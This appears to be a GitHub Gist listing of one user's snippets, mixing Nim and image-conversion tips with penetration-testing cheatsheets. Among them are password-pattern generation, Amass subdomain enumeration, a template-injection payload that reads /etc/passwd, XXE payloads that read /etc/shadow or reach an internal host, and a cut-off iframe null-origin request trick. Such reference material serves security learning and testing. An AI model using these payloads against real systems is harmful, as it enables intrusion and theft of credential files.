Skip to content

Instantly share code, notes, and snippets.

@leveled
leveled / hello_world.nim
Created February 3, 2021 13:18
Hello World in Nim
# This is a comment
echo "What's your name? "
var name: string = readLine(stdin)
echo "Hi, ", name, "!"
@leveled
leveled / nim_compilation_cheatsheet.sh
Last active February 3, 2021 13:18
Nim compilation cheatsheet
nim compile --run greetings.nim
nim compile --run greetings.nim arg1 arg2
nim c -d:release greetings.nim
@leveled
leveled / convert_images_to_pdf.sh
Created February 1, 2021 19:59
Compress images into a single pdf
#install image-magick
convert *.jpg -auto-orient pictures.pdf
#Add this beforre </policymap> in /etc/ImageMagick-6/policy.xml
<policy domain="coder" rights="read | write" pattern="PDF" />
@leveled
leveled / jpeg_compress.sh
Created February 1, 2021 19:58
compress JPEG file on the command line on Linux
jpegoptim --size=250k tecmint.jpeg
@leveled
leveled / exrex_generate_passwords
Created January 29, 2021 21:11
Using exrex to generate regex passwords
$ ./exrex.py "(winter|summer|spring|fall|autumn)201[678]"
@leveled
leveled / amass_cheatsheet.sh
Created January 26, 2021 14:09
Amass Cheatsheet
# passive
amass enum --passive -d example.com -o example.com.subs
# active
amass enum -src -ip -brute -min-for-recursive 2 -d example.com -o example.com.subs
@leveled
leveled / server_side_template_injection.txt
Created January 23, 2021 18:45
Server Side Template Injection Cheatsheet
#Ruby/ERB
<%= 7 * 7 %>
##Check
<%= File.open(‘/etc/passwd’).read %>
@leveled
leveled / basic_xxe_example.xml
Last active January 22, 2021 20:16
XXE Cheatsheet
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
<!--External Entity-->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
@leveled
leveled / iframe_null_origin.html
Created January 22, 2021 19:05
Using an iframe to set a null origin on an XHR request
<html>
<body>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
function hack()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
@leveled
leveled / postmessage_example.js
Created January 22, 2021 16:55
PostMessage example
function openChild() {child = window.open('/', 'popup', 'height=300px, width=500px');}
function sendMessage(input, child){
let msg=input;
// In production, DO NOT use '*', use toe target domain
child.postMessage(msg,'*')// child is the targetWindow
child.focus();
}
openChild()